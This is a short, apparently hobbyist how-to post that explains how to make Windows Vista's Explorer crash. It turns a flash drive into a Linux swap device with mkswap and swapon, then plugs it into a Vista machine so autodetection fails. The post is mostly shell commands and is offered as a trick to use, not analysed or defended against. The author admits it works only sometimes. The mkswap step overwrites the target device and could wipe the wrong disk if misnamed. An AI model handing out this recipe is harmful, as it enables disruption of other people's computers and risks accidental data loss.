How to Crash Windows Vista Explorer

  • Take flash drive, insert in computer running Linux
  • sudo mkswap /dev/sdb (replace sdb with whatever name Linux assigns your flash drive
  • sudo swapon /dev/sdb
  • swapon -s
  • sudo swapoff /dev/??? (Do this for all other swap partitions listed)
  • Now open enough applications and/or files to get Linux to swap onto the flash drive.

Now you have what looks like a flash drive, but is really a *nix based explorer.exe killer! Plug it into a computer running Vista, Vista will try and auto detect what to do (play music files, display pictures, etc), and then totally crap out on you.

Note: Some times it works and some times it doesn't. I think you might just want to turn off the computer instead of swapoff...

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